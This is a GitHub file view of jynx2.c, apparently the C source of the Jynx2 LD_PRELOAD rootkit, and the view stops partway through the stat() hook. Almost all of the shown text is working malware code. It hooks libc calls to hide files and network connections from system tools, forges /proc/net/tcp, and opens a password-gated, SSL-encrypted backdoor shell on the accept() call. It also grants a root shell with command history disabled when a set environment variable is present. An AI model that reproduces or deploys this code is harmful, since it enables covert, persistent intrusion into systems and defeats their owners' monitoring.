-
Notifications
You must be signed in to change notification settings - Fork 55
/
Copy pathjynx2.c
1283 lines (974 loc) · 24.3 KB
/
jynx2.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/x509.h>
#include <openssl/x509v3.h>
#include "config.h"
void *libc;
/* SSL connection global vars */
SSL_CTX *ctx;
SSL *ssl;
static void init (void) __attribute__ ((constructor));
static int (*old_accept) (int sockfd, struct sockaddr * addr,
socklen_t * addrlen);
static int (*old_access) (const char *path, int amode);
static int (*old_fxstat) (int ver, int fildes, struct stat * buf);
static int (*old_fxstat64) (int ver, int fildes, struct stat64 * buf);
static int (*old_lxstat) (int ver, const char *file, struct stat * buf);
static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf);
static int (*old_open) (const char *pathname, int flags, mode_t mode);
static int (*old_rmdir) (const char *pathname);
static int (*old_unlink) (const char *pathname);
static int (*old_unlinkat) (int dirfd, const char *pathname, int flags);
static int (*old_xstat) (int ver, const char *path, struct stat * buf);
static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf);
static ssize_t (*old_write) (int fildes, const void *buf, size_t nbyte);
static FILE *(*old_fopen) (const char *filename, const char *mode);
static FILE *(*old_fopen64) (const char *filename, const char *mode);
static DIR *(*old_fdopendir) (int fd);
static DIR *(*old_opendir) (const char *name);
static struct dirent *(*old_readdir) (DIR * dir);
static struct dirent64 *(*old_readdir64) (DIR * dir);
void drop_suid_shell_if_env_set (void);
void
__attribute ((constructor))
init (void)
{
#ifdef DEBUG
printf ("[-] jynx2.so loaded.\n");
#endif
libc = dlopen (LIBC_PATH, RTLD_LAZY);
}
int
write_loop (int fd, char *buf, size_t size)
{
char *p;
int n;
p = buf;
while (p - buf < size) {
n = write (fd, p, size - (p - buf));
if (n == -1) {
if (errno == EINTR)
continue;
else
break;
}
p += n;
}
return p - buf;
}
void
cmd_loop (int sock)
{
int child_stdin[2];
int child_stdout[2];
int pid;
char buf[DEFAULT_TCP_BUF_LEN];
char preload[512];
int maxfd;
if (pipe (child_stdin) == -1 || pipe (child_stdout) == -1) {
#ifdef DEBUG
printf ("Couldn't open pipes.\n");
#endif
exit (1);
}
pid = fork ();
if (pid == -1) {
#ifdef DEBUG
printf ("Fork died.\n");
#endif
exit (1);
}
if (pid == 0) {
/* This is the child process. Exec the command. */
close (child_stdin[1]);
close (child_stdout[0]);
/* rearrange stdin and stdout */
dup2 (child_stdin[0], STDIN_FILENO);
dup2 (child_stdout[1], STDOUT_FILENO);
dup2 (child_stdout[1], STDERR_FILENO);
snprintf(preload,sizeof(preload),"LD_PRELOAD=%s",REALITY_PATH);
putenv (preload);
execl ("/bin/bash", SHELL_NAME, "-l", (char *) 0);
/* exec failed. */
#ifdef DEBUG
printf ("exec failed.\n");
#endif
exit (1);
}
close (child_stdin[0]);
close (child_stdout[1]);
maxfd = child_stdout[0];
if (sock > maxfd)
maxfd = sock;
for (;;) {
fd_set fds;
int r, n_r;
FD_ZERO (&fds);
FD_SET (sock, &fds);
FD_SET (child_stdout[0], &fds);
r = select (maxfd + 1, &fds, NULL, NULL, NULL);
if (r == -1) {
if (errno == EINTR)
continue;
else
break;
}
if (FD_ISSET (sock, &fds)) {
do {
memset (&buf, '\0', sizeof (buf));
n_r = SSL_read (ssl, buf, sizeof (buf) - 1);
switch (SSL_get_error (ssl, n_r)) {
case SSL_ERROR_NONE:
break;
case SSL_ERROR_ZERO_RETURN:
goto end;
break;
case SSL_ERROR_WANT_READ:
break;
case SSL_ERROR_WANT_WRITE:
break;
default:
exit (1);
}
write_loop (child_stdin[1], buf, strlen (buf));
}
while (SSL_pending (ssl));
}
if (FD_ISSET (child_stdout[0], &fds)) {
memset (&buf, '\0', DEFAULT_TCP_BUF_LEN);
n_r = read (child_stdout[0], buf, sizeof (buf));
if (n_r <= 0)
break;
if (n_r <= 512) {
SSL_write (ssl, buf, strlen (buf));
}
else {
char temp[512];
char *tmp_str;
int cnt = 0;
while (n_r > 512) {
++cnt;
bcopy (buf, &temp, 511);
SSL_write (ssl, temp, strlen (temp));
n_r -= 512;
tmp_str = &buf[512];
bcopy (tmp_str, &buf, strlen (buf));
}
SSL_write (ssl, buf, strlen (buf));
}
}
}
end:
if (ssl != NULL) {
SSL_shutdown (ssl);
SSL_free (ssl);
}
close (sock);
exit (0);
}
int
gen_cert (X509 ** cert, EVP_PKEY ** key)
{
RSA *rsa;
X509_NAME *subj;
X509_EXTENSION *ext;
X509V3_CTX ctx;
const char *commonName = "localhost";
char dNSName[128];
int rc;
*cert = NULL;
*key = NULL;
/* Generate a private key. */
*key = EVP_PKEY_new ();
if (*key == NULL) {
#ifdef DEBUG
fprintf (stderr, "Error generating key.\n");
#endif
exit (1);
}
do {
rsa = RSA_generate_key (DEFAULT_KEY_BITS, RSA_F4, NULL, NULL);
if (rsa == NULL) {
#ifdef DEBUG
fprintf (stderr, "Error generating RSA key.\n");
#endif
exit (1);
}
rc = RSA_check_key (rsa);
}
while (rc == 0);
if (rc == -1) {
#ifdef DEBUG
fprintf (stderr, "Error generating RSA key.\n");
#endif
exit (1);
}
if (EVP_PKEY_assign_RSA (*key, rsa) == 0) {
RSA_free (rsa);
#ifdef DEBUG
fprintf (stderr, "Error with EVP and PKEY.\n");
#endif
exit (1);
}
/* Generate a certificate. */
*cert = X509_new ();
if (*cert == NULL) {
#ifdef DEBUG
fprintf (stderr, "Couldn't generate 509 cert.\n");
#endif
exit (1);
}
if (X509_set_version (*cert, 2) == 0) { /* Version 3. */
#ifdef DEBUG
fprintf (stderr, "Couldn't set x509 version.\n");
#endif
exit (1);
}
/* Set the commonName. */
subj = X509_get_subject_name (*cert);
if (X509_NAME_add_entry_by_txt (subj, "commonName", MBSTRING_ASC,
(unsigned char *) commonName, -1, -1,
0) == 0) {
#ifdef DEBUG
fprintf (stderr, "Couldn't set common name.\n");
#endif
exit (1);
}
/* Set the dNSName. */
rc = snprintf (dNSName, sizeof (dNSName), "DNS:%s", commonName);
if (rc < 0 || rc >= sizeof (dNSName)) {
#ifdef DEBUG
fprintf (stderr, "Unable to set dns name.\n");
#endif
exit (1);
}
X509V3_set_ctx (&ctx, *cert, *cert, NULL, NULL, 0);
ext = X509V3_EXT_conf (NULL, &ctx, "subjectAltName", dNSName);
if (ext == NULL) {
#ifdef DEBUG
fprintf (stderr, "Unable to get subjectaltname.\n");
#endif
exit (1);
}
if (X509_add_ext (*cert, ext, -1) == 0) {
#ifdef DEBUG
fprintf (stderr, "x509_add_ext error.\n");
#endif
exit (1);
}
/* Set a comment. */
ext = X509V3_EXT_conf (NULL, &ctx, "nsComment", CERTIFICATE_COMMENT);
if (ext == NULL) {
#ifdef DEBUG
fprintf (stderr, "x509v3_ext_conf error.\n");
#endif
exit (1);
}
if (X509_add_ext (*cert, ext, -1) == 0) {
#ifdef DEBUG
fprintf (stderr, "x509_add_ext error.\n");
#endif
exit (1);
}
X509_set_issuer_name (*cert, X509_get_subject_name (*cert));
X509_gmtime_adj (X509_get_notBefore (*cert), 0);
X509_gmtime_adj (X509_get_notAfter (*cert), DEFAULT_CERT_DURATION);
X509_set_pubkey (*cert, *key);
/* Sign it. */
if (X509_sign (*cert, *key, EVP_sha1 ()) == 0) {
#ifdef DEBUG
fprintf (stderr, "x509_sign error.\n");
#endif
exit (1);
}
return 1;
}
SSL_CTX *
InitCTX (void)
{
SSL_METHOD *method;
X509 *cert;
EVP_PKEY *key;
SSL_library_init ();
OpenSSL_add_all_algorithms (); /* Load cryptos, et.al. */
SSL_load_error_strings (); /* Bring in and register error messages */
method = SSLv3_server_method ();
ctx = SSL_CTX_new (method); /* Create new context */
if (ctx == NULL) {
#ifdef DEBUG
ERR_print_errors_fp (stderr);
#endif
abort ();
}
SSL_CTX_set_options (ctx, SSL_OP_ALL | SSL_OP_NO_SSLv2);
SSL_CTX_set_cipher_list (ctx, "ALL:!ADH:!LOW:!EXP:!MD5:@STRENGTH");
if (gen_cert (&cert, &key) == 0) {
#ifdef DEBUG
printf ("Error w/ gen_cert()\n");
#endif
exit (1);
}
if (SSL_CTX_use_certificate (ctx, cert) != 1) {
#ifdef DEBUG
fprintf (stderr, "SSL_CTX_use_certificate failed.\n");
#endif
exit (1);
}
if (SSL_CTX_use_PrivateKey (ctx, key) != 1) {
#ifdef DEBUG
fprintf (stderr, "SSL_CTX_use_PrivateKey failed.\n");
#endif
exit (1);
}
X509_free (cert);
EVP_PKEY_free (key);
return ctx;
}
void
backconnect (int sock)
{
#ifdef DEBUG
printf ("backconnect called.\n");
#endif
char temp[256];
ctx = InitCTX ();
ssl = SSL_new (ctx);
SSL_set_fd (ssl, sock);
sock = SSL_get_fd (ssl);
if (SSL_accept (ssl) == -1) {
#ifdef DEBUG
ERR_print_errors_fp (stdout);
#endif
exit (1);
}
else {
SSL_read (ssl, temp, sizeof (temp));
if (!strstr (temp, SHELL_PASSWD)) {
close (sock);
SSL_CTX_free (ctx);
return;
}
SSL_write (ssl, SHELL_MSG, sizeof (SHELL_MSG));
cmd_loop (sock);
close (sock);
SSL_CTX_free (ctx);
}
return;
}
int
drop_dup_shell (int sockfd, struct sockaddr *addr)
{
pid_t my_pid;
struct sockaddr_in *sa_i = (struct sockaddr_in *) addr;
#ifdef DEBUG
printf ("drop_dup_shell called.\n");
#endif
if (htons (sa_i->sin_port) >= LOW_PORT
&& htons (sa_i->sin_port) <= HIGH_PORT) {
my_pid = fork ();
if (my_pid == 0) {
fsync (sockfd);
backconnect (sockfd);
}
else {
errno = ECONNABORTED;
return -1;
}
}
return sockfd;
}
FILE *
forge_proc_net_tcp (const char *filename)
{
char line[LINE_MAX];
unsigned long rxq, txq, time_len, retr, inode;
int local_port, rem_port, d, state, uid, timer_run, timeout;
char rem_addr[128], local_addr[128], more[512];
#ifdef DEBUG
printf ("forge_proc_net_tcp executed.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (!old_fopen)
old_fopen = dlsym (libc, "fopen");
FILE *tmp = tmpfile ();
FILE *pnt = old_fopen (filename, "r");
while (fgets (line, LINE_MAX, pnt) != NULL) {
sscanf (line,
"%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n",
&d, local_addr, &local_port, rem_addr, &rem_port, &state,
&txq, &rxq, &timer_run, &time_len, &retr, &uid, &timeout,
&inode, more);
if ((rem_port >= LOW_PORT && rem_port <= HIGH_PORT) || uid == MAGIC_UID) {
}
else {
if (local_port >= LOW_PORT && local_port <= HIGH_PORT) {
}
else {
fputs (line, tmp);
}
}
}
fclose (pnt);
fseek (tmp, 0, SEEK_SET);
return tmp;
}
int
accept (int sockfd, struct sockaddr *addr, socklen_t * addrlen)
{
#ifdef DEBUG
printf ("accept hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (!old_accept)
old_accept = dlsym (libc, "accept");
int sock = old_accept (sockfd, addr, addrlen);
return drop_dup_shell (sock, addr);
}
int
access (const char *path, int amode)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("access hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (!old_access)
old_access = dlsym (libc, "access");
if (old_xstat == NULL)
old_xstat = dlsym (libc, "__xstat");
drop_suid_shell_if_env_set ();
memset (&s_fstat, 0, sizeof (stat));
old_xstat (_STAT_VER, path, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || (strstr (path, MAGIC_STRING))
|| (strstr (path, CONFIG_FILE))) {
errno = ENOENT;
return -1;
}
return old_access (path, amode);
}
FILE *
fopen (const char *filename, const char *mode)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("fopen hooked %s.\n", filename);
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (!old_fopen)
old_fopen = dlsym (libc, "fopen");
if (!old_xstat)
old_xstat = dlsym(libc, "__xstat");
if (strcmp (filename, PROC_NET_TCP) == 0
|| strcmp (filename, PROC_NET_TCP6) == 0)
return forge_proc_net_tcp (filename);
memset (&s_fstat, 0, sizeof (stat));
old_xstat (_STAT_VER, filename, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || (strstr (filename, MAGIC_STRING))
|| (strstr (filename, CONFIG_FILE))) {
errno = ENOENT;
return NULL;
}
return old_fopen (filename, mode);
}
FILE *
fopen64 (const char *filename, const char *mode)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("fopen64 hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (!old_fopen64)
old_fopen64 = dlsym (libc, "fopen64");
if (!old_xstat)
old_xstat = dlsym(libc, "__xstat");
if (strcmp (filename, PROC_NET_TCP) == 0
|| strcmp (filename, PROC_NET_TCP6) == 0)
return forge_proc_net_tcp (filename);
memset (&s_fstat, 0, sizeof (stat));
old_xstat (_STAT_VER, filename, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || (strstr (filename, MAGIC_STRING))
|| (strstr (filename, CONFIG_FILE))) {
errno = ENOENT;
return NULL;
}
return old_fopen64 (filename, mode);
}
void
drop_suid_shell_if_env_set (void)
{
char *env_var = getenv (ENV_VARIABLE);
char preload[512];
#ifdef DEBUG
printf ("drop_suid_shell called.\n");
#endif
if (env_var) {
if (geteuid () == 0) {
setgid (0);
setuid (0);
unsetenv (ENV_VARIABLE);
putenv ("HISTFILE=/dev/null");
snprintf(preload,sizeof(preload),"LD_PRELOAD=%s",REALITY_PATH);
putenv(preload);
execl ("/bin/bash", SHELL_NAME, "--login", (char *) 0);
execl ("/bin/sh", SHELL_NAME, (char *) 0);
}
}
}
int
fstat (int fd, struct stat *buf)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("fstat hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_fxstat == NULL)
old_fxstat = dlsym (libc, "__fxstat");
memset (&s_fstat, 0, sizeof (stat));
old_fxstat (_STAT_VER, fd, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID) {
errno = ENOENT;
return -1;
}
return old_fxstat (_STAT_VER, fd, buf);
}
ssize_t
write (int fildes, const void *buf, size_t nbyte)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("write hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_write == NULL)
old_write = dlsym (libc, "write");
if (old_fxstat == NULL)
old_fxstat = dlsym (libc, "__fxstat");
memset (&s_fstat, 0, sizeof (stat));
old_fxstat (_STAT_VER, fildes, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID) {
errno = EIO;
return -1;
}
return old_write (fildes, buf, nbyte);
}
int
fstat64 (int fd, struct stat64 *buf)
{
struct stat64 s_fstat;
#ifdef DEBUG
printf ("fstat64 hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_fxstat64 == NULL)
old_fxstat64 = dlsym (libc, "__fxstat64");
memset (&s_fstat, 0, sizeof (stat));
old_fxstat64 (_STAT_VER, fd, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID) {
errno = ENOENT;
return -1;
}
return old_fxstat64 (_STAT_VER, fd, buf);
}
int
__fxstat (int ver, int fildes, struct stat *buf)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("__fxstat hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_fxstat == NULL)
old_fxstat = dlsym (libc, "__fxstat");
memset (&s_fstat, 0, sizeof (stat));
old_fxstat (ver, fildes, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID) {
errno = ENOENT;
return -1;
}
return old_fxstat (ver, fildes, buf);
}
int
__fxstat64 (int ver, int fildes, struct stat64 *buf)
{
struct stat64 s_fstat;
#ifdef DEBUG
printf ("__fxstat64 hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_fxstat64 == NULL)
old_fxstat64 = dlsym (libc, "__fxstat64");
memset (&s_fstat, 0, sizeof (stat));
old_fxstat64 (ver, fildes, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID) {
errno = ENOENT;
return -1;
}
return old_fxstat64 (ver, fildes, buf);
}
int
lstat (const char *file, struct stat *buf)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("lstat hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_lxstat == NULL)
old_lxstat = dlsym (libc, "__lxstat");
memset (&s_fstat, 0, sizeof (stat));
old_lxstat (_STAT_VER, file, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || strstr (file, CONFIG_FILE)
|| strstr (file, MAGIC_STRING)) {
errno = ENOENT;
return -1;
}
return old_lxstat (_STAT_VER, file, buf);
}
int
lstat64 (const char *file, struct stat64 *buf)
{
struct stat64 s_fstat;
#ifdef DEBUG
printf ("lstat64 hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_lxstat64 == NULL)
old_lxstat64 = dlsym (libc, "__lxstat64");
memset (&s_fstat, 0, sizeof (stat));
old_lxstat64 (_STAT_VER, file, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || strstr (file, CONFIG_FILE)
|| strstr (file, MAGIC_STRING)) {
errno = ENOENT;
return -1;
}
return old_lxstat64 (_STAT_VER, file, buf);
}
int
__lxstat (int ver, const char *file, struct stat *buf)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("__lxstat hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_lxstat == NULL)
old_lxstat = dlsym (libc, "__lxstat");
memset (&s_fstat, 0, sizeof (stat));
old_lxstat (ver, file, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || strstr (file, CONFIG_FILE)
|| strstr (file, MAGIC_STRING)) {
errno = ENOENT;
return -1;
}
return old_lxstat (ver, file, buf);
}
int
__lxstat64 (int ver, const char *file, struct stat64 *buf)
{
struct stat64 s_fstat;
#ifdef DEBUG
printf ("__lxstat64 hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_lxstat64 == NULL)
old_lxstat64 = dlsym (libc, "__lxstat64");
memset (&s_fstat, 0, sizeof (stat));
old_lxstat64 (ver, file, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || strstr (file, CONFIG_FILE)
|| strstr (file, MAGIC_STRING)) {
errno = ENOENT;
return -1;
}
return old_lxstat64 (ver, file, buf);
}
int
open (const char *pathname, int flags, mode_t mode)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("open hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_open == NULL)
old_open = dlsym (libc, "open");
if (old_xstat == NULL)
old_xstat = dlsym (libc, "__xstat");
drop_suid_shell_if_env_set ();
memset (&s_fstat, 0, sizeof (stat));
old_xstat (_STAT_VER, pathname, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || (strstr (pathname, MAGIC_STRING))
|| (strstr (pathname, CONFIG_FILE))) {
errno = ENOENT;
return -1;
}
return old_open (pathname, flags, mode);
}
int
rmdir (const char *pathname)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("rmdir hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_rmdir == NULL)
old_rmdir = dlsym (libc, "rmdir");
if (old_xstat == NULL)
old_xstat = dlsym (libc, "__xstat");
memset (&s_fstat, 0, sizeof (stat));
old_xstat (_STAT_VER, pathname, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || (strstr (pathname, MAGIC_STRING))
|| (strstr (pathname, CONFIG_FILE))) {
errno = ENOENT;
return -1;
}
return old_rmdir (pathname);
}
int
stat (const char *path, struct stat *buf)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("stat hooked\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_xstat == NULL)
old_xstat = dlsym (libc, "__xstat");
memset (&s_fstat, 0, sizeof (stat));
old_xstat (_STAT_VER, path, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID || strstr (path, CONFIG_FILE)
|| strstr (path, MAGIC_STRING)) {
errno = ENOENT;
return -1;